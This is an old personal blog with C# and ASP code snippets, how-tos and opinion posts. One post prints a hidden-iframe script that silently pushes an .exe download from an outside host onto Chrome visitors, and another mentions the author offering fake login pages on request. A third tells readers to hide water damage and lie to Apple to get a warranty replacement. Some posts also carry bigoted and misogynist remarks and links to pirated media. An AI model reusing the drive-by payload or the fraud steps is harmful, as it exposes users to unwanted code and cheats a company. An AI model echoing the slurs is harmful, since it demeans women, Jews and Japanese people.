| |
|
15.12.2008 ~
Screen2Jpeg: A screenshot application |
|
I present you Screen2Jpeg. My new screenshot application. Basically what it does is takes screenshots and saves them as .jpeg files instantly. It's a bit like a polaroid camera :) The default saving directory is "Desktop". You can change it using the "Save to..." button. If I ever make a newer version I'll add keyboard hooking so that the program can work in the background. But I don't see that happening in the near future :) The magic code that does the work is: private void screenShot() { int sWidth = Screen.GetBounds(new Point(0, 0)).Width; int sHeight = Screen.GetBounds(new Point(0, 0)).Height; Bitmap bmpScreenShot = new Bitmap(sWidth, sHeight); Graphics gfx = Graphics.FromImage((Image)bmpScreenShot); gfx.CopyFromScreen(0, 0, 0, 0, new Size(sWidth, sHeight)); bmpScreenShot.Save("\Directory path\" + DateTime.Now.Day.ToString() + DateTime.Now.Month.ToString() + DateTime.Now.Year.ToString() + "-" + DateTime.Now.Hour.ToString() + DateTime.Now.Minute.ToString() + DateTime.Now.Second.ToString() + ".jpg", ImageFormat.Jpeg); } You can download the .exe from here and the Visual C# 2008 project from here To run the application you need .NET framework 2.0 or higher to be installed on your system.
|
|
|
15.12.2008 ~
ASP script to get random image |
|
Last night I wrote a script that gets a random image file from a directory. Here is the code: <% 'Declare variables Dim fs Dim path Dim dir Dim folder Dim i Dim max Dim random Dim imgArr()
'Set the FSO set fs = CreateObject("Scripting.FileSystemObject") dir = "/enter directory path here/" 'this is the directory you want to get images from path = Server.MapPath(dir) set folder = fs.GetFolder(path)
i = 0 max = 0
'Count how many image files there are in the target directory for each f in folder.files if UCASE(fs.GetExtensionName(f)) = "JPG" or UCASE(fs.GetExtensionName(f)) = "JPEG" or UCASE(fs.GetExtensionName(f)) = "GIF" or UCASE(fs.GetExtensionName(f)) = "PNG" then max = max + 1 end if next
'Generate error message if there are no image files if max = 0 then response.write("No image files in the target directory") response.End() end if
'Gather all image files in an array Redim imgArr(max)
for each f in folder.files if UCASE(fs.GetExtensionName(f)) = "JPG" or UCASE(fs.GetExtensionName(f)) = "JPEG" or UCASE(fs.GetExtensionName(f)) = "GIF" or UCASE(fs.GetExtensionName(f)) = "PNG" then imgArr(i) = f.name i = i+1 end if next
'Generate random number Randomize random = Int(Rnd * max)
'Get the random image response.write("<img src=" & dir & imgArr(random) & ">")
%> Change the "dir" variable and you're all set.
This is a random image selection script in it's simplest form. With a little VBscript knowledge you can set the script to work with query string variables 
|
|
|
14.12.2008 ~
About page |
|
If any of you out there is wondering who I am, what I do... this way please
|
|
|
14.12.2008 ~
Highlight search engine keywords |
|
I'll assume you have intermediate web knowledge and skip the explanation. To highlight the keywords from search engine query strings do the folowing: - Download this file and save it on your host
- Add <script type="text/javascript" src="/jscripts/se_hilite.js"></script> between the head tags in your pages html code
- Add following lines to your .css file
.hilite1 { background-color: green} .hilite2 { background-color: yellow}
And you're done. This will highlight the first 2 keywords from a search engine reference. You can increase the number of keywords to highlight. Just add more of the same lines to your .css file incrementing the number after .hilite. Scripts homepage
|
|
|
03.09.2008 ~
Chrome bug / exploit |
|
Recently Google announced their new browser called Chrome. It has some really cool features like the code inspector etc... Since it is in it's beta stage it also has some bugs. The first one discovered so far is url/protocol bug. When you hover or click on a link like something:% Chrome crashes. Some people call it an exploit but I think it's an overstatement since you don't get anything more than an application crashing. 04/09/2008: A new exploit has been found which is poses a big threat to users security. When you place a link to the source of an iframe element Chrome automatically downloads. What this means is you can make your visitors download a file to their computers. This is done using the code below.
<script>
document.write('<iframe src="http://www.gladio.net/dump/testcmd.exe" frameborder="0" width="0" height="0">');
</script> you can see both bugs in action on this page. The file downloaded is a copy of command prompt so don't panic :) I would advise you stay away from chrome for now. Looks like it's gona have many more bugs so you might want to check it after v2 or v3...
|
|
|
09.08.2008 ~
redirect to www.domain.com |
|
When you're dealing with cookies and session they take www.domain.com and domain.com as separate servers. So when you create a cookie or session for domain.com it won't be valid for www.domain.com. To overcome this problem you either redirect www.domain.com to domain.com or do the opposite. The script below redirects from domain.com to www.domain.com with the querystring if it has one <%
' Get the server name sname = lcase(request.servervariables("server_name"))
' Get the first four characters of the server name www = left(sname,4) ' Check if www. exists. If not trigger the redirection code if www <> "www." then
'Check and set the protocol. It's either http:// or https:// protocol = "http://" https = lcase(request.ServerVariables("HTTPS")) if https <> "off" then protocol = "https://" ' Get the script name scrname = request.servervariables("script_name")
' Get the query string qstring = request.servervariables("query_string")
' Check if there is a querystring, if there is set qmark as "?" qmark = "" if qstring <> "" then qmark = "?"
' Build the URL and redirect url = protocol & "www." & sname & scrname & qmark & qstring response.redirect(url)
end if
%>
|
|
|
02.08.2008 ~
gladio.asp |
|
I've finally put some material on the gladio page. The menu at the top is buggy but I can't be bothered to fix it atm... (Correction ~ 04/08/2008: I fixed it)
|
|
|
01.08.2008 ~
All new Adriana Lima gallery |
|
|
24.07.2007 ~
ABSOLUT GOLDFISH |
|
|
23.07.2007 ~
XBOX advert |
|
This is one of my favourite TV adverts
|
|
|
21.04.2007 ~
Elektrohumme |
|
funny? yes! stupid? yes!
|
|
|
05.02.2007 ~
Looks can be deceiving |
|
Before u get in bed with a japanese ask for their medical history  Click here to see why
|
|
|
27.01.2007 ~
About file compression |
|
What is compression? If you’ve used the internet and computers for at least 2 weeks then you must have come across a compressed file in .zip or .rar format. These files contain files that have been compressed by applications. E.g. Winzip, WinRar… To get the compressed file you have to use these applications to decompress the file, which brings it to it’s original state. Why are they compressed though? Because compression reduces their file size which comes in handy for all aspects of computers like transferring files over the internet, storing data etc…
How are they compressed? The most basic form of compression is giving patterns or phrases an ID. If you look at the example below you’ll see what I mean by that.
Let’s compress “To be or not to be” which has 13 characters excluding spaces. We’ll give each word an ID and we’ll have a dictionary for this sentence. To = 1 Be = 2 Or = 3 Not = 4 After assigning IDs we can rewrite this sentence as “1 2 3 4 1 2”. Now it has 6 characters excluding spaces. Less then half of the original sentence This is the most basic form of compression no matter what you are compressing. I’ll give you another example of a more complex file.
Let’s say you’ve opened this image in notepad. It will appear like this, a very long meaningless chunk of text. The important thing is this text only consists of 3 characters ÿ, € and space. Obviously this increases the number of patterns in the file. You’ll notice that the pattern “€ÿÿ€ÿÿ€ÿÿ€ÿÿ” appears 137 times (you can’t see that just by looking at it off course ) which makes 12 x 137 = 1644 characters. Let’s say we’ve given this pattern the ID of “9” which is a character that never appears in the text. Now “9” will appear I the text 137 times. We’ll add the characters of the dictionary which let’s say looks something like this “9=€ÿÿ€ÿÿ€ÿÿ€ÿÿ” and the total number of compressed characters will be 137+14=151. We have now compressed 1644-151=1493 characters which means 1493 bytes since each character is one byte.
What if there are no repeating patterns? No worries, compression doesn’t end here. In the text you’ll see that there are strands like “€€€€€€€€” and “ÿÿÿÿÿÿÿÿÿÿÿ”. These also can be compressed even if they don’t have any duplicates in the text. In this case the characters are repeating. If we have an algorithm in our dictionary like “numberOfReapeatingCharacter x character” we can set the number of repeats and the repeating character. E.g. we can replace “€€€€€€€€” with “8x€”. Now our strand is 3 characters (3 bytes), 5 characters shorter than the original strand which had 8 characters. Same goes with “ÿÿÿÿÿÿÿÿÿÿÿ”. We can replace it with “11xÿ”. Now it has 4 characters instead of 11. This time 7 characters shorter. Compression software like Winzip, Winrar work on this logic, but more advanced off course.
Where else is compression used? It’s used almost everywhere but the most popular types of compression are in general file compression (.zip, .rar), audio compression (.mp3, .aac), video compression (the mighty DivX, even mightier XviD). The formats of general file compression and audio file compression is similar to the examples I gave above. Video compression is a little bit different but still based on the same logic. E.g. If a pixel appears at the same position for a few frames then you can declare that in your dictionary and have compression.
These are the basics of file compression. Unless you’re really dumb you should now have understood how compression works. It’s funny how I can’t write a short paragraph about myself when it comes to uni work but I can write 600 words in 20mins when I don’t even have a reason
|
|
|
30.12.2006 ~
3 more Chappelle sketches |
|
You'll need the Divx codec to watch these. I'll be adding videos in Flash Video format (like YouTube) but that's gonna take some time .
|
|
|
29.12.2006 ~
Adriana Lima gallery |
|
Over 400 pictures of my favourite top model Adriana Lima . I've been lookin for a decent asp picture gallery script for ages but had no luck. Some are too complex, some need special ASP components and the rest is just useless. So I had to mix some ASP, some HTML and some Photoshop Gallery script to get exactly what i wanted. The border around thumbnails appear out of shape in Opera browser but I can't be bothered to fix it. I don't think anyone will mind anyway. And if anyone does I just don't give a f*ck 
Enter the gallery
|
|
|
28.12.2006 ~
Female drivers |
|
Last week i almost had an accident in Stamford Hill. I was drivin peacefully, as always , until some woman with her Peugeot 307cc cut in front of me forcin me out of the road . I missed her car by millimetres! At that moment my anger was enough to turn Bruce Banner into Hulk but still i was ready to let her go with a few words of protest (all starting with "f") and a few desibels of the horn if she acknowledged her fault and apologised. But guess what the bitch done. She gave me the finger! That's when I turned into the Hulk and lost control . I could have crashed (or hit a jew) because of her fault and she was still givin me the finger! I got out of the car with the intention of takin her heart out and show it to her before she dies but the bitch fleed. I was so pissed off I didn't even think about writin down her number plate. Now though, i'm glad i didn't do anything stupid.
As a tribute to all female drivers out there i made this slideshow. Enjoy...
|
|
|
24.12.2006 ~
Eurofeb goes to Vigo |
|
Eurofeb is a supporter group much like Fossa Dei Leoni of AC Milan, Kop of Liverpool. We support Fenerbahce (Turkeys best football club) and we go to FBs all away games in europe (hence the name Eurofeb). What makes Eurofeb special is that the members are scattered all around europe. Now think of another club that has this kind of fans group. Nope, there's no other Last month we were in Vigo for the UEFA Cup game of FB against Celta de Vigo. Originally the music of the video was "Paint it black" by Rolling Stones. Youtube said it was against the copyright laws so i had to replace it with another song. The options youtube gives are pathetic so I picked a random song.
|
|
|
19.12.2006 ~
Victorias Secret Fashion Show 2006 |
|
VS-FS was not the same without Tyra Banks but still it was worth watching. Click here to download as split rar files. These files will be removed in a few days so download as soon as you can. 14/12/08 UPDATE: I removed the files two years later, not after a few days like I said 
|
|
|
18.12.2006 ~
iKill |
|
My latest work of art
|
|
|
09.11.2006 ~
Watch video from split rar files |
|
When you download large videos from free hosts like rapidshare, megaupload etc. they are usually in split .rar files. Their file extension used to be like .r01 .r02 .r11 .r12 but nowadays they mostly in part01.rar part02.rar format. Anyway, when you are downloading a split rar file you have to wait until you've downloaded all parts. Some free hosts make you wait a long time before you can download the next part. Even if they don't you still have to wait until the next part is downloaded. But i've just found out a way to watch the video from split files. Off course you won't be able to watch the whole video but at least you get a preview. Here is how to do it:
- Download the first part of the rar file
- Right-click on it and select "Extract files..."
- The winrar window will come up (assuming you use winrar)
- Check "Keep broken files" option on the left hand side and click OK, ignore any error messages
- Now you have extracted the video file, but it's broken so it won't play in Windows Media Player.
- To open this file you need VLC Player which can be downloaded from Videolan website. Although VLC player looks weak compared to WMP it's a very powerful media player (it plays broken files, WMP doesn't!)
- If VLC player asks you if you want to repair the video file just say no
- Now you should be watching the first part of your video
PS: Adriana Lima gallery will be up in a week.
|
|
|
15.10.2006 ~
Dave Chappelle sketches |
|
Guaranteed to make you laugh...
|
|
|
12.10.2006 ~
Turkish national team video |
|
I made this compilation of goals a long time ago but i forgot to share it until now lol
|
|
|
28.09.2006 ~
New projects |
|
The reason why i didn't make any updates to the blog is simply because I'm too lazy... The blog is just a single HTML page so when I want to add something I have to edit the code and upload the page again. Which is too much work for me lol. But now I decided to code an ASP script that will automate the job so this blog will be updated more often. Currently I'm working on these projects; - ASP script for the blog (done)
- Adriana Lima photo gallery (done)
- An explorer-like java application (abandoned)
- Updated fake login pages (I might add new ones depending on demand so email me if you want something) (abandoned)
|
|
|
10.02.2006 ~
Water damaged iPod |
|
What to do when you drop your iPod in water:
Take it out. Shake it and try to get as much water out as you can.
Don't turn it on!
I'll say this again, don't turn it on!
There is a good chance that it will short circuit.
If you think you got all the water out, leave it on a radiator for 2-3 days. Turn it around from time to time. You do this to evaporate the water and dry its circuits.
You can now turn it on
If it works then you are lucky and god likes you. But still there is a good chance that it will malfunction in the future.
If it doesn't work put it back on the radiator for at least 10 days. Destroy all the evidence indicating it was water damaged :) (because your warranty does not include water damage)
After 10 days call Apples customer service in your country. Don't tell them your iPod was water damaged. They will send you an empty box. Put your iPod in it and send it back.
At this stage the only thing you can do is to hope that Apple technicians don't find anything about water damage.
If they don't they will send you a brand new iPod. If they do they will quote you a ridiculously high amount to repair it.
By the way, Apple gives you product warranty for a year and telephone support for 90 days from the date of purchase. After that you'll have to pay for parts & labour and it costs £35 to get telephone support.
|
|
|
27.01.2006 ~
How to play music on Hi5 and MSN Spaces |
|
You can play music on your Hi5.com profile page by doing the following steps:
- Login and go to "My Profile"
- Go to "Edit"
- Go to "Lifestyle" or "Interests" (the choice is up to you)
- In any of the textboxes enter the following code
- <img dynsrc="URL of audio file " loop="infinite">
- You can enter http://www.zen15082.zen.co.uk/b/Damn2.mp3 as the URL if you want to play the intro part of Youngbloodz - Damn
- Click on "Save profile" and it's done
- To see this on my Hi5 profile click here
To play music on your MSN Space:
- Login to your MSN Space
- Go to "Blog"
- Enter a title
- On the editor click on "HTML" (it's right next to the smilie icon)
- <DIV></DIV> should appear. (if it doesn't you can enter the code yourself)
- Enter the code in between DIV tags, just like i did below
- <DIV><img dynsrc="URL of audio file " loop="infinite"></DIV>
- Click on "Publish entry" and you're done
- To see this on my MSN Space click here
You can change the loop settings. If you want it to play only once replace "infinite" with "1". Or you can enter another number to play it that many times. I tested this on Internet Explorer and it works. It definitely doesn't work with Opera and probably won't with Firefox. It may work on AvantBrowser as it is based on Internet Explorer. You should know that the audio file is downloaded by the user so it wouldn't be wise to give the URL of a large file. Up to 1MB should be OK. If you can't get it to work email me at ash@gladio.net
|
|
|
22.01.2006 ~
Henry did it again |
|
This is a must see from his highness Thierry Henry...
|
|
|
17.01.2006 ~
About Zen15082 |
|
Since a lot of people have been asking me about zen15082.zen.co.uk i'll make a brief explanation. Zen is an internet service provider based in Rochdale/UK. They provide web hosting for their ADSL customers and i happen to be one of them. The webspace you get is 1GB and has no bandwidth limitations. It doesn't support server side scripts but still it is really useful. I mean you don't have to take bs from imageshack or rapidshare. I used it to distribute TV series last year. Currently I have some mp3 files uploaded, mainly R&B and hiphop. I might remove them to make space for new files so download what you need while you still can lol. Some common questions and answers:
- Can anyone get it? No, only Zen ADSL cutomers can.
- Can you host my 600mb big file? No.
- Can you host an image file for me? Yes, just email it to me.
- If there is no bw limit why dont you put a movie on it? I did, and Zen suspended my account due to excessive bw usage (320GB in one week lol). They said it was threatening the running of their servers, bah :P.
- How much does it cost? Zens ADSL is slightly more expensive than other ISPs such as Wanadoo or Bulldog. But the quality of the service you get is worth every penny. Plus you get other services like the webspace that you've been reading about lol. Price list is here.
|
|
|
|
|